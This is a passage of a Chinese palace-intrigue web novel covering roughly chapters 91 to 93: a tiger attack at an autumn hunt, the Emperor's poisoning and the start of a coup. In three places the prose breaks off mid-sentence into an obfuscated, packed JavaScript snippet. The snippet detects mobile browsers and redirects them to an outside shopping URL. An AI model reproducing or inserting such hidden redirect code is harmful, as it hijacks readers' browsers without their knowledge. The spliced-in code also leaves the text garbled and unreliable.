“好!”李诗龄高兴的应道,回头瞥了李明月一眼,露出一副不屑的表情。 比赛开始,照夜白不愧为世间难寻的良马,只一夹马腹,便如离弦的箭一般急奔而去,直接甩开李诗龄一行三丈远,且还有越来越远的趋势。 正带着李啸林在猎场外围转悠的雨陶郡主李啸音,远远的便看见了这一幕,虽隔着一段距离,但完全能看清几人的行动。 她道:“这匹照夜白可是大宛国王的宝贝,据说能负重百担、日行千里。” “那这蠢六儿岂不是要输了?”李啸林百无聊赖的坐在马上,一手持缰,一手把玩着腰间的麦穗玉佩。 雨陶郡主没有说话,而是紧盯着眼前的战况。 待章麓三发全中,猎得两只兔子、一匹梅花鹿,而六公主什么都没得到,气急败坏的指挥侍卫开弓时,李啸音忽而眯了眯眼,意味不明的说到:“不一定,这要看章麓的命够不够大。” 李啸林手中的动作顿了顿,看向自家姐姐:“祖母这回可是下了狠手,八成蠢六儿都得跟着陪葬。” “是吗?”李啸音意味不明的笑了笑:“索性与我们无关,无需多管闲事。” 李啸音调转马头:“走吧,我们去别的地方。” 因着章麓高超的箭术,再加上她那匹无可匹敌的快马,两炷香过去,外围的猎物几乎都被她猎了去,而六公主加上她那四个金吾卫,居然猎到的还没章麓的一半。气的六公主眼泪都快飚出来了。 一个金吾卫瞧着她怒气腾腾的脸,想到五皇子的交代,害怕回去受罚,便斗胆提议道:“不如往另外一个方向,那边猎物多,即便章四姑娘箭法卓绝,也最多射到四分之一,其余的我们分散开来,应当能全部收入囊中。” 六公主一听,立刻来了精神,她本想自己去,不带章麓,但金吾卫说,若是不互相监督,到时候猎回来容易被人说作弊,到时候对方嘴硬不认,公主也无可奈何。 六公主想了想,觉得此话有理,便叫住章麓,强硬的命令她一道转移到另一处继续比赛。 章麓不置可否,反正在哪儿都一样。 金吾卫推荐的地方离营地远了一些,但也算是在猎场外围,靠近秋山的另一面,不过明显被人清理过,也没有看到哨岗,应当也是属于猎场范围。 这里确实如金吾卫所说,猎物非常多,六公主开弓虽只射中了一只灰毛兔子,但是身旁的四个金吾卫却收货颇丰。这让她瞬间舒心了许多,面上也愉快了不少。 章麓瞧着六公主一路离营地越来越远,不禁眉头轻蹙。这周围没什么人烟,除了鸟兽之外没什么别的声音,心中顿生警惕。 安静的丛林里,忽而响起一道虎啸,紧接着,一只斑斓大虎突然从一人高的树丛中冲了出来,直朝她们扑来。 “啊——”六公主的尖叫声惊飞一片林中鸟。而下一刻,她的尖叫声陡然拔高了一个台阶。 那老虎看都没看其他人一眼,目标明确的冲着章麓而去。 只见被老虎定为目标的章麓,骑在马上一个仰身,那老虎直直从她身体上空跃过。那老虎一次没扑倒猎物,气愤的扭身再次朝她扑去。 章麓眸光一冷夹紧马腹,照夜白立刻朝前奔跑而去,那老虎紧随其后,两人直接消失在了树林之中。 “快保护本宫!带本宫回去!” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091651|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,章姑娘……” “她算个什么东西!她的命能比得上本宫吗!要是本宫出事,五哥哥定然会将你们千刀万剐!快点带本宫回去!”六公主宛若疯了一般,撕心裂肺的怒吼着,发髻散了半边都不自知。 * 西洲侯府,借着程卫昭重伤未愈的借口,此次没有跟随去秋山。 程卫昭身上有无数伤疤,但最重的伤贯穿腰腹,修养了足足二十多天才能下地。他站在院中看着自己与自己对弈的西洲侯,问道:“你将金吾卫调走了。” 西洲侯在棋盘上落下一子:“你好好养伤,其他的事不用管。” “你真的是要毁了我啊。”程卫昭嗤笑一声:“知道我想用军功换母亲脱离族谱,就用这种方式毁了我,你可真是狠。” 西洲侯面色沉静,毫无波澜的说道:“白氏既嫁入程府便是程府的人,哪儿都不能去。” “活着被你利用,死了也不放过,有时候我真的怀疑我在你眼里到底算是个什么东西?一枚可以随意抛弃的棋子,还是让程家再上一层楼的工具。” 程卫昭捂着腹部,忍着刺痛,道:“我在平原郡查付瑜的时候,遇到了一个叫霍封琏的人。” 西洲侯手上动作一顿,片刻后又自然的落下一子。 “你才是北宁关之难的罪魁祸首,对吗?你才是与外人勾结,意图造反的那个人,对吗!” 西洲侯:“我会为你铺好前路,其余的你不必管。” * 章麓骑着照夜白奔了一段距离,途中无论如何变换角度,利用山石遮挡自己,都能被老虎发现,顺利的直朝着她而来,就好像这些山石阻隔他看不见,只能看见她一般。 经历过大相国寺的魇魂香之事后,她已经知道崔家养了一位调香高手。难道她身上带了什么东西,吸引着这头老虎?猎场早先便被清理过,猛兽都被驱赶去了比赛的地方,这里还属于外围,不应会遇见老虎才对,而且这老虎双眼炯炯有神,不像是被下药的模样。 可时间不允许她多做思考,她双膝跪坐在马背上,在狂奔的马上尽力保持身体平衡,待照夜经过一棵粗壮的梧桐树时,拼尽全力纵身一跃,攀附住粗壮的梧桐树干,顾不得细小树枝划伤脸颊,以猎豹般敏捷的姿态,手脚并用的往上爬。 章麓喘着粗气,半跪在一直主枝杈上,低头看着朝她所在之地冲过来的老虎。 这老虎爬树的动作非常利落,明显是头野生虎,并非自幼圈养在宫内的观赏虎。利爪和尖齿俱全,一口便可咬碎人骨。 这头老虎的体重约有五六百斤,膘肥体壮。梧桐树无法承受它的重量,在它攀爬的过程中微微有些弯曲。好在老虎爬树的技能远不如花豹,只能勉强勾到章麓所在位置下一层的树枝,尝试了一番之后便放弃了。但是它没有离开,而是开始奋力撞击大树,剧烈的晃动差点让章麓从树上摔下去,只能双臂全力抱紧粗壮的主枝。 章麓观察了一下四周的情况,这里荒无人烟,等人来救不知道会是什么时候,她必须自救。 营地内,李鹤霖正在与羽林卫选拔出的精英讨论明日的布局,卢康突然快步跑了过来,气喘吁吁的说到:“王爷,章姑娘在猎场遭到老虎袭击,照夜白回来了,但章姑娘不知道去哪儿了。” 91. 第 91 章 “哗啦——”一声瓷片碎裂声,伴随着女子的尖叫从皇帐中传了出来。 端着茶点的嬷嬷朝小丫头抬了抬下巴,丫头垂眉顺目深深的低着头掀开帐帘。 太后带着嬷嬷走进去,神色无悲无喜。 “谁让你去西岭的?谁让你带她去西岭的!”泰安帝愤怒的咆哮声直冲着瘫倒在地的六公主而去,整个营帐内的人都恨不得将头埋进地里,大气都不敢喘一下,生怕被波及到。 六公主泪眼婆娑的捂着被砸破的额头,委屈的哭道:“父皇,她不过是一个武夫之女,派人去找就是了,何必动这么大的气。” “不过?”泰安帝简直被气笑了,他抖着手指着委屈又不满的六公主:“朕也是武夫出身,你也是武夫之女!” “那怎么能一样……”六公主小声嘀咕着:“本宫什么身份……” “你什么身份?”泰安帝对她怒目而视:“朕给你宠爱你就是公主,朕不给你宠爱你就是个庶人!” 他抬头看向帐外:“孟德才!去拟纸!六公主李诗龄狂妄自大,目中无人,褫夺封号,贬为庶人,幽居华迁宫,终身无召不得入见!” “父皇!”六公主瞪大了双眼,不可置信的看着泰安帝,她想要爬过去拉住对方的衣角,却被毫不留情的躲开。余光瞥见走进来的太后,就像是抓住了救命稻草一般双眼发亮,连滚带爬的抱住太后的小腿,急切的求到:“皇祖母!求求您劝劝父皇,帮孙女说两句话啊!去西岭不是孙女的意思,是……” “小六儿!”太后的声音威严冷静,两个字便将慌乱的六公主定在原地,她不悲不喜的垂眸看着鬓发散乱的六公主,犹如佛堂上的飘着的苍白冷烟:“错了就是错了,会错意,做错事,行错路,都要付出代价。” “凭什么!明明是皇祖母说的西岭人烟稀少,最最适合打猎竞赛孙女才去的,皇祖母不能不管孙女啊!”六公主斯喊出声,双手紧紧攥着太后的裙摆,直攥出一溜的褶皱出来。 太后瞧着她,长叹一声:“龄儿,你自幼便好骑射,总爱要宫人与你玩耍比赛。自六岁到现在,将近十年的时光,你因着这事儿伤了多少下人?他们不比章六尊贵,伤着了几分银子便可打发,可章六若是也被你伤着,又该如何收场?当时哀家是如何与你讲的?西岭人少,你与他比试可分开行进,互不打扰,便是不想你那跋扈的性子得罪了不该得罪的人。可你又是如何做的?突遇猛虎竟带着护卫直接跑了,抛下她一个女子不管不顾。她若是有个三长两短的,你叫你父皇如何向虞庆侯交代?” “可是皇祖母……” “行了!”太后抬了抬手,打断她的话:“你确实该好好反省反省了。” 嬷嬷伸手将六公主扒拉开,几个早就候在帐外的婆子赶忙上前架起六公主就往外拖。 “皇祖母!孙女儿是听了您的话才去的西岭啊!您不能这样不管孙女了啊!父皇!父皇!您最疼爱女儿了!我外祖母当年因着您才会被贼人所杀,您不能这样对我啊!若是让外祖母知道,定然会埋怨您啊!父皇!父皇——” 匆忙赶到的李鹤霖瞧也没瞧她一眼,径直冲进皇帐之中,问到:“父皇!请父皇允儿子带人去西岭!” “朕已经派人去了,虞庆侯也带着人去西岭搜了。” “请父皇允儿子带人去西岭!” 泰安帝看向跪在地上,眼神隐含愤怒的儿子,叹了口气,说:“去吧。” “谢父皇!” 太后坐在上首位,轻轻拨了拨茶盏:“少年夫妻,情分最是难得。” 泰安帝回过神,目光落在母亲身上,定了三息:“母后,您为何要让小六儿去西岭?” “哀家知道你在怀疑什么,哀家虽一心谋求虞庆侯的兵权,但不至于要献祭一个女孩儿的性命。更何况,这世上无不透风的墙,若是为了一桩婚事就这般报复虞庆侯府,日后谁还敢与崔家往来?只不过,哀家也没想到小六儿竟会遇到这番意外,还将章家姑娘抛下了。” 泰安帝定定的看了看太后,终也没说什么,转而问道:“母后这会儿前来,既不是为小六儿求情,那是为什么?” 太后拨茶的手顿了顿,反问道:“哀家知道你会因此时着急上火,便带了些绿豆酥过来,想着劝慰一番,别动怒将无辜之人也打杀了,日后再后悔。” “无关之人?”泰安帝抬了抬眼皮:“母后说的是那四个侍卫吧?听闻是焕儿派去的金吾卫,没想到竟也如此胆小怕事!按照禁军条律,打杀了也不为过!” 太后将手中的点心盘子推到泰安帝面前,说道:“你瞧,哀家就怕你会这般。他们也是听命行事,以你对小六儿的宠爱,若是他们违逆了她,日后被一状告到你这里,难不成你还会因着一个侯爷之女而放过他们?最后还不是要遭殃。毕竟是公主,他们这些做侍卫的也难做,没必要过度苛责。” 泰安帝垂眼看着桌上的糕点,没有动。 太后也不在意皇帝的提防,随手捏了一块放进了嘴里尝了尝,说道:“这还是哀家亲自做的,这猎宫多少年没有开启过,能用的东西不多,要不是明月爱吃,还真凑不齐做这份糕点的材料。” 泰安帝低头看向那份糕点,忽而回想起小时候,母亲过年给兄弟两人做绿豆糕的情景,不由在心底轻叹了一声,捏起一块糕点吃了起来。 太后的脸上悄无声息的划过一丝恍然,眼泪无声的落了下来,她低声道:“你当先命人试毒才是。” 泰安帝顿了顿,他迎向太后注视着自己的目光,对面脸上明明带着笑,却只感觉到浓浓的凄苦,他放下手中吃了一半的点心,说道:“母亲,儿子知道您心中埋怨儿子的无情。可当年儿子还是一个小小的邓州伯,有名无实,眼看着朝廷的银两拨不下来,都被那些贪官污吏贪去,而治下的百姓都过不下去,便只能揭竿而起。那时日日如履薄冰,如今登上大宝,更要谨小慎微。现今天下初定,多少双眼睛盯着咱们家,行差踏错一步都会被人拉下来。虞庆侯手中的兵权可以直接拆解掉,徐徐图之便是,但绝不能落在皇家之外的人手中。” 这个皇家之外的人,指的便是崔氏。 太后静静的坐在桌子旁,没有同意,也没有反驳,只静静的拨弄茶盏。泰安帝见状,便知道母亲心中气难消,也只能默默的吃着糕点不再说话。 ‘砰’的一声,太后将手中茶盏不轻不重的磕在桌子上,站起身,又恢复了来时的雍容华贵,说道:“哀家累了,先回去休息了。” 说罢,也不顾泰安帝的挽留,径直离开了皇帐。 “娘娘,您是回营帐,还是回猎宫?”嬷嬷开口问道。 “营帐。” 太后蹙着眉,似是颇为不耐烦。她快步回到自己的营帐内,从袖袋中拿出一个完好无损的油纸包。 “娘娘。”一个不起眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113566|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫女端着取火的铜盆走了过来,太后直接讲油纸包打开,将里面的浅黄色粉末埋进碳火之中,又将油纸包也丢了进去。 嬷嬷从一只木箱中取出一个木盒,里面装着一只与太后头上一模一样的凤簪,直接将太后头上的替换下来,丢进了火盆里。 丫头将一瓶油倒进火盆,火势顿时窜的老高。凤簪在大火中逐渐被烧成漆黑一片,嬷嬷立刻将金簪取出,丢入木盒,然后从木箱中取出太后抄好的经文丢进火盆里。另一个丫头正用小刷子仔细的清理太后的指甲,不小心被窜天的大伙撩了一下,惊得手上没把控住,小刷子探入了指甲缝,顿时有一抹殷红冒了出来。 小宫女登时脸色大变,慌忙的跪倒在地上请罪:“太后娘娘!这……这……奴婢……” 太后只瞥了一眼,面色毫无波动,她冷淡道:“继续。” 小宫女诧异的抬头,手脚却丝毫不敢停顿,闭紧嘴巴态度更为小心翼翼的为她清理指甲。 待太后离开,泰安帝独自坐在营帐内呆了半晌,见孟德才回来,才抬起头看向对方。 “旨意传下去了?” “是,各宫各府都通传了,六……姑娘,已经被送去猎宫,待回到宫里之后,便会迁居华迁宫。” “可惜了,若是当年将她要到皇后身边,便不会是如今这般见识短浅、不堪大用。”泰安帝眼中充满了遗憾。 他绕过屏风,转去了与皇帐相连的皇后营帐。这里除了一张小塌,便只有一张一丈长的御案,上面堆放着几封密信,还有一些地方呈上来的请安折子。 见到泰安帝,正在一旁写字的皇后立刻起身:“陛下。” 泰安帝走到她的身边,拿起桌上写了一半的黄麻纸,只见上面整整齐齐的写了两列‘安’字,一笔一划已颇具风骨,不由赞道:“细君的字真的是越发好看了。” “是陛下教导的好。”皇后为他倒了一杯茶,问道:“禁军那边可传来消息?” 泰安帝接过茶盏,轻轻摇头:“还未,不过朕相信章麓是个有本事的,绝不会轻易落入虎口,只要禁军够快,赶在晌午前将人找回来,应该不会有什么事。” “希望如此,我还挺喜欢那孩子的,更难得鹤儿如此上心……” “咣啷——”茶盏坠落在桌子上的清脆响声打断了皇后的话,她转过头看向泰安帝,只见他面色青紫,死死抓住自己的衣襟。顿时吓得花容失色,赶忙扶住泰安帝,冲着外面吼到:“刘贤,守住营帐,快宣太医!” 泰安帝颤抖着手抓住自己的胸口衣物,拼命的想要透过衣物感受到自己到底是怎么了。为什么胸口会如此的疼痛,就像被千万只蚂蚁啃咬一般。 原本寂静的皇帐顿时乱做一团。 “是中毒!”皇后观察过陛下的面色后,冷静道:“将所有东西封好,待太医查验!” 一直以来都被宫人畏惧的龙鳞卫统领刘贤,第一次在面上露出情绪。 他感到愤怒,快速指挥龙鳞卫封锁营帐,并将今日所有与泰安帝接触过的人进行关押,物品封存交给随行太医验毒。 离皇帐最近的太后营帐最先得到消息,嬷嬷在角落沉默半晌,走到正在抄写佛经的太后身边,问:“是否要叫崔大爷来?” “不急,再等等。环儿被人威逼至此,绝不是一个德州的漕运之事能办到的。借此机会正好看看这四方之地,藏着多少牛鬼蛇神。” 92. 第 92 章 西岭是秋山猎场的最外围,但因着坡陡树多,行马困难,所以并没有别划定为猎场范围,守卫的士兵自然也就没有在这边设立岗哨。 西岭的向阳面是裂谷,山体上长满了参天蔽日的梧桐树。此刻正当正午,阳光透过细密的树叶照下来,在章麓紧闭的双眸上映下斑驳的树影。 在西岭的入口,一阵有序的马蹄声撕裂密林里的寂静,无数鸟儿被惊飞,兔儿、鹿儿四散奔逃。身披黑色轻甲的墨云骑紧随在李鹤霖的马后,如一阵烈风一般,刮进了梧桐林。 在他们的身后,是苦苦追赶的五皇子李谨焕,还有被派来寻人的金吾卫。 可惜,墨云骑的马皆来自小勃勒,虽比不上大宛国进贡的一对宝驹,但放眼整个大梁也难找到能与之匹敌的良驹。 眼看着李鹤霖骑着照夜白,带着墨云骑消失在密林深处,金吾卫副统领不禁大喊:“淳王殿下,等等!” 然而,李鹤霖头也不回,依旧快马加鞭,寻着树枝压倒的痕迹一路深入而去。 “王爷,这怎么办?”金吾卫副统领压低身体,尽可能的减小迎风面积,想要使速度再快一些。 李谨焕抓紧缰绳,注视着幽深的梧桐林林硕:“追不上就不强追了,沿着痕迹走,等见到人再说。” “可是,皇上命我等前来寻人,若是县主娘娘有个三长两短,我们不好交代啊。” 李谨焕勒马缓行,目光似笑非笑的扫了一眼面色谨慎的金吾卫副统领:“若是我三哥都找不到人,救不下人,就凭你,难道就能救得下了?” “但总要做个样子吧,县主娘娘毕竟是个弱女子,若是……” “弱女子?”李谨焕的眸光晦暗不明:“章家世世代代就没有弱女子。别以为这一代出了个八雅皆通唯不通武艺的五姑娘,就小瞧了他们。一个人即便身体弱,武艺差,但这书读的精了,也是很可怕的。” 此时,躺在梧桐树上的章麓猛的睁开双眼,她看着不远处,一群野狼正虎视眈眈的盯着死在树下的猛虎,不由的轻啧一声。 真是倒霉催的,整么大一片林子,这么多颗树,偏偏选在了靠近狼窝的地方。 好在这会儿应当不是要捕猎,攻击意识没有那么强烈。章麓一动不动的躺在树枝上,静静观察着狼群的一举一动。 只听得‘嗖——’的破空之声,头狼瞬间被射穿头颅。章麓猛的坐起身,只见十几道箭矢紧随而来,每一箭都精准的射穿一头狼的脑袋,转瞬间,狼群中除了幼狼和部分母狼,其余的成年狼全部射死。 剩余的成年狼见了,小心翼翼的护着幼崽后退,见没人再攻击它们,便直接带着幼狼离开了这里。 章麓惊喜的朝箭矢飞来的方向看去,只见身着骑装的李鹤霖单手持弓,骑着马飞快的朝她而来。 临近她所在的梧桐树时,双脚一蹬,直接借着马背跃上了梧桐树的枝头。 那粗壮的树枝不堪重负的晃了一下,令刚站起身的章麓身形不稳,下意识的抱住了李鹤霖的腰。 “袅袅!”李鹤霖以为她受了伤,紧张的叫了她一声。 章麓低头看着摇摇欲坠的树枝,抿了抿唇,说:“要不然,先下去?我觉得它快断了。” 话音刚落,只听得‘咔嚓’一声,树枝应声断裂,两个人直直朝下坠去。 李鹤霖抱紧章麓,用自己的身体垫在下面,为对方做了缓冲。 “王爷……” “我没事。”李鹤霖松开双手,从地上坐起身。 周围的墨云骑看天看地就是不看他们,一个个默契的背过身去,仿佛就是来欣赏风景的一般。 一个墨云骑轻轻踢了踢身边的人,在对方回过头来的时候,朝着死掉的猛虎抬了抬下巴。另一个人顺着看过去,只见那猛虎的头颅上方正正的插着一把缀满宝石的匕首,这匕首明显不是他们王爷的风格,且形状秀气纤细,有些像女子使用的匕首。 两人默契的对视一眼,顿时对这个即将成为王爷正妃的女人,有了翻天覆地的改观。 李鹤霖上下打量了章麓一眼,问:“你受伤了没?” “没有,照夜白速度快,那老虎追不上。” “那就好,我们先回去。” “等等。”章麓拦住李鹤霖:“除了你,还有别人来吗?” 李鹤霖没明白她的意思,回答道:“父皇先前派了老五带着金吾卫前来搜寻,但他们的马太慢,这会儿应该还在后面。” 章麓将衣服侧腰露出,让李鹤霖看牡丹花瓣上的一抹暗红,低声道:“不知道是什么时候抹上去的,我猜是一种与魇魂香很像的东西,有人故意引我出来。” 李鹤霖神色一凛,脸色瞬间阴沉的可怕:“要杀你?” “不,我并不值得一个人如此大费周章的刺杀,应该有大图谋,你还记得在大相国寺的书斋里,被我拿走的那卷地里志吗?关于秋山的。被人翻过,又放了回去。” 李鹤霖攥紧双手,浑身散发着山雨欲来风满楼的气息。 章麓握住他的手,低声问道:“还有别人一同随你来吗?” “除了老五和金吾卫,就没别人了。” “那就等他们追上来了,再一起回去。” “为何?”李鹤霖蹙眉不解:“此地不宜久留,你这一路肯定也身心俱疲,需要好好休息一番。况且,将你丢下的四个金吾卫还需审问一番,我们不好在此耽搁时间。” 章麓看着李鹤霖认真的神情,意识到她的王爷是真的不懂这些人情世故,心中颇为无奈,只能好声好气的解释:“陛下定然因为金吾卫失职而恼怒,所以才会派他们来寻我,将功赎罪。若是最后我跟着你回去了,而他们却不见踪影,陛下会如何想?再说了,还是康王亲自带队前来搜寻,到时候你让文武大臣如何想康王?” 章麓拉着他的衣袖:“他们不会觉得是因为您的马好马快,只会觉得是康王故意拖延懈怠,一旦流言起来了,它不会止于智者,只会贬为兄弟之间的嫌隙。康王的舅舅乃西洲侯,与我父亲同为一品军侯。这流言最后定会牵扯到他们身上,甚至还会变为党争。到那时,无论你们兄弟之间的感情如何,在外人的眼里都是‘不和’,‘不和’就回有小人,有小人就有可能会坏事。” 李鹤霖看了看她,沉默了一会儿,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126128|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你想太多了吧?” 章麓无奈的看了他一眼:“多思总比少思好,反正也不着急回营地,先等一会儿。不论康王心里怎么想,只要你先将面子功夫做好,在外人眼里总会留下个好名声。况且,我们还不清楚身上这香到底哪儿来的,对方的目的为何,还是小心为上。” 见她心意已决,李鹤霖也不想在这种小事上驳她,便点头答应,命令墨云骑原地扎营。 “你饿不饿?”李鹤霖问。 章麓摸了摸自己的小肚子,点了点头:“有点。” “卢康!” “在!” “带人去打点东西来。” “是!” 坐在篝火旁,章麓看着正在削柴火的李鹤霖,问:“听父亲说,高丽虽退,但与鲜卑的战争还未结束,你此番提前离开战场,会不会觉得遗憾?” 李鹤霖的手顿了顿,说道:“会,但是我是皇子,备受父皇期望,不可能一门心思只想着打仗,总要承担一些别的责任。” 章麓抱着双膝坐在草地上:“你跟我哥肯定有很多共同话题。” “章云锋?” “对,我师傅是陆逍林,陆将军的胞弟,上面有一个师姐和两个师兄,师姐五年前战死在了北宁关,二师兄是辽城关守备将军之子,不会武,马骑得也差,小时候总会从马背上摔下来,师傅都快被他气死了,说他蠢笨如猪。但他过目不忘、博览群书,在谋略上无人能及,我们三个没少被他算计。你听说过辽城关守备‘三千兵丁退程筎’的故事吗?” 李鹤霖点头:“听过,当时我还和母亲在外东躲西藏,听百姓讲过这件事。当时高句丽王想趁前朝内乱,侵吞辽城土地,结果却被辽城派出的三千守备军打的屁滚尿流,最后只能掉头去打百济。” “没错,那主意还是我二师兄出的呢,那时候他才十三岁,哎,时间过得真快,他明年就要加冠了。”想到这里,章麓神色忽而变得悲伤起来:“听父亲说,辽城关守备将军战死,也不知道二师兄现在怎么样了。” 李鹤霖瞧着她这幅模样,心有不忍,便道:“我瞧着他还挺好的,就是我送你的那匹狼似乎不太喜欢他,总追在他屁股后面呲牙。” 章麓眨巴了两下双眼,笑到:“那是因为我哥刚战死那段时间,我心情不好,他为了逗我开心,总搞些乱七八糟的东西,每每弄得我俩特别狼狈,麓风大概是记仇吧,对他总是多有提防,但不会真的伤害他。哎,我之前做的桃花络子也不知道他们收到没有,以后与你成婚,我便很难再见到他们了。” * 此刻,营州城墙之外。 韦德海正在篝火前休息,悠哉的吃着烤肉。今日这仗打得漂亮,直把鲜卑人打得后退五十里,自行让出了甘蓝城。 他心情颇好的哼着歌,看着一众将士围在篝火前,跳着战舞。 这时,有个卫兵走过来,说陆将军要见他。带他过去才知道,原来是虞庆侯从长安寄来了一封信,言明了章麓被赐婚之事,还附带了两枚章麓亲手做的桃花络子。 韦德海拿着粉色的桃花络子,眼泪在明媚的笑容中落了下来。 93. 第 93 章 半个时辰之后,李谨焕带着金吾卫终于赶到了地方。 见一众人正围坐在篝火旁边吃烧烤,还有说有笑的,一时之间心里五味杂陈。 李谨焕打量了她一番,不咸不淡的说道:“章姑娘,看起来你没什么事。” 李鹤霖不喜欢李谨焕说话的语气,站起身刚准备开口,便被坐在地上的章麓一把抓住了手。 他愣了一下,低头看向对方,手心传来的柔软触感,让他一阵气血翻涌,红透了耳根。 章麓见他怔愣,又轻轻的拽了拽,细声细语的撒娇道:“我站不起来,你忘了。” 李鹤霖刚刚开始还没反应过来,还是卢康最先意识到对方的意思,连忙站起身:“章姑娘,不然属下背您?” 两人同时看向他,吓得卢康猛的后退一步,无辜的眨着大眼睛。 李鹤霖看了一眼章麓,犹豫了三息,试探的问道:“不如,我抱着你?” 章麓额角一跳,她本来想的是扶一把就好,装一装柔弱也不需要装的重伤不治。但抱起来,会不会有点夸张了。 正当她犹豫的时候,李鹤霖在心中下定了决心,一把抄起章麓的肩膀和膝盖,将人抱了起来。 路过李谨焕的时候,他说:“她的腿暂时动不了,老虎由你来处理吧。” 后面的金吾卫见状,心想,这才对,被猛虎追,他们都不能保证全身而退,一个姑娘怎么可能完好无损呢。 反倒是李谨焕若有所思的看向李鹤霖的背影,不知道在想些什么。 “王爷。”金吾卫副统领捧着个匕首走了过来,低声说:“正中头骨中缝,一刀毙命。” 李谨焕转过头看向他,反问:“一刀毙命?” “是,没有其他伤痕,一刀毙命。” 李谨焕的目光扫向那柄缀满宝石的匕首,沉吟了一瞬,问道:“如果让你来,你能做到吗?” 金吾卫副统领摇头:“肯定不行,不说别的,就这将匕首刺入骨缝的力道,属下都未必能做到。” “如果是程卫昭呢?” “这……”金吾卫副统领沉吟了一番,谨慎的说到:“程将军曾以单刀探石缝,一力劈开了巨岩,将匕首插入骨缝应当不难。但在猛虎扑向他的时候,同时如此快准狠,属下也说不好程将军能不能办到。但以属下的邻居年轻时是猎户,小时候到听他提过,这种一击入骨的手法,需要对老虎的骨骼结构特别了解,且时常做才能如此精准。” 李谨焕拿起那柄匕首,在手上颠了颠,很轻,比一般都匕首都要轻很多。在阳光下能看到上面层层叠叠的纹路,双刃微卷。 他将匕首收起来,吩咐金吾卫副统领:“回去之后,就说老虎是三哥打死的,其他的不必多言。” “是。” * 日光透过营地的帐帘缝隙渗透进每一处。 前脚虞庆侯嫡次女出事的消息刚传来,众人还没来得及消化,只能看着虞庆侯和淳王领兵一路西去,然后就走他们离开后不到一刻,就被禁军围住了住所。 马景川掀开帐帘,看见迎面而来的母亲,抹了一把头上的汗珠,说到:“左右翊卫、武卫不听我命令,我手上的令牌等同于废了。还有屯卫、后卫全都叛变了,随行的四个折冲府的兵士,也都不听调令。” “千牛卫和羽林卫呢?”秦国夫人问道。 马景川面色凝重的摇头:“全被扣下了,我刚刚走到内围就被挡回来了。但我看见有内官引着李谨渊进去了。” 秦国夫人沉吟半晌,说道:“不会是李谨渊叛乱,否则王大人在京城完全可以直接把控大半朝臣,成为他的一言堂。天下还未平定,有异心的人太多,就算他不站在台前,以琅琊王氏的声望,加上她夫人母家的威望,随便扶植一个宗室做傀儡皇帝也不会有人敢有异议。” “那会是谁?表哥没必要造反,他本就是陛下属意的太子人选,五皇子也不至于吧,西洲侯那么精明的一个人,就算要造反,也不会选这个时候。” “看来是有人想改天换地了。”秦国夫人站在条案前,手指轻轻划过亡父的烈焰弓,鲜艳的蔻丹与缠着血红绸布的大弓交相辉映。她的面色沉静,丝毫不因有人叛乱而动容。 “快了。”她说。 马景川有些疑惑,还未询问出声,便见一个内侍带着两个翊卫走了进来,那微抬的下巴,彰显着他的得意与傲慢。 “清河长公主请秦国夫人与世子移步皇帐。” 马景川蹙眉:“清河长公主?不可能!” 秦国夫人紧紧攥住了马景川的手腕,唇角微微勾起,不卑不亢的对内侍说到:“那便走吧。” “母亲!”马景川焦躁的喊到。 这明显是个陷阱,如果真的跟着去了,回来的可能性能有多高?西岭到这里至少要半个时辰,表哥能不能及时赶到,赶到之后他那一千八百人又如何对付着三万禁军? 秦国夫人拍了拍儿子的手,淡定的说到:“闲来无事,看看热闹打发打发时间也好。” “可是……” “儿子,你父亲为国战死,守护了一千三百万的百姓十年。当年我带你离开时,万民伞就收到了六柄,这天下,还没有我不敢踏足的地方!”秦国夫人的话掷地有声,字字珠玑,跟随而来的翊卫互相看了一眼,微微垂了垂首。 傲慢的内侍张了张嘴却半个字都说不出,最后昂首掀开了帐帘,将秦国夫人请出了营帐,但落在地上的影子,却能看到微微弓起的身形。 十五年前,六王围剿秋山的时候,禁军也只是围在各个官员的勋贵的府外。 十五年后,这群禁卫竟直接冲进帐篷内抓人。 一时间,风声鹤唳草木皆兵。更有甚者,在听闻秦国夫人被翊卫带走后,吓得直接晕倒在了营帐内。 “咚咚咚——”突然响起的撞钟声将众人的心又提了上来。 “父亲,这钟声……”张骁面露疑惑。 张锦将帐帘轻轻挑开一条缝隙,朝外看去,过了一会儿才说:“是猎宫的万德钟。” “这钟声能传这么远?”张骁不敢置信的问道:“这可足足有五里远。” 张锦解释道:“猎宫的万德钟不是一口钟,而是围绕着猎场所建的哨楼中,所有的钟。猎场围墙每一里就有一口,东西南北加起来共计三百七十八口,声音足以传播到二十里外的地方。” 说到这里,原本神色如常的张锦突然眉头紧蹙,神色陡然锐利如刀。 钟声没停,还在响。 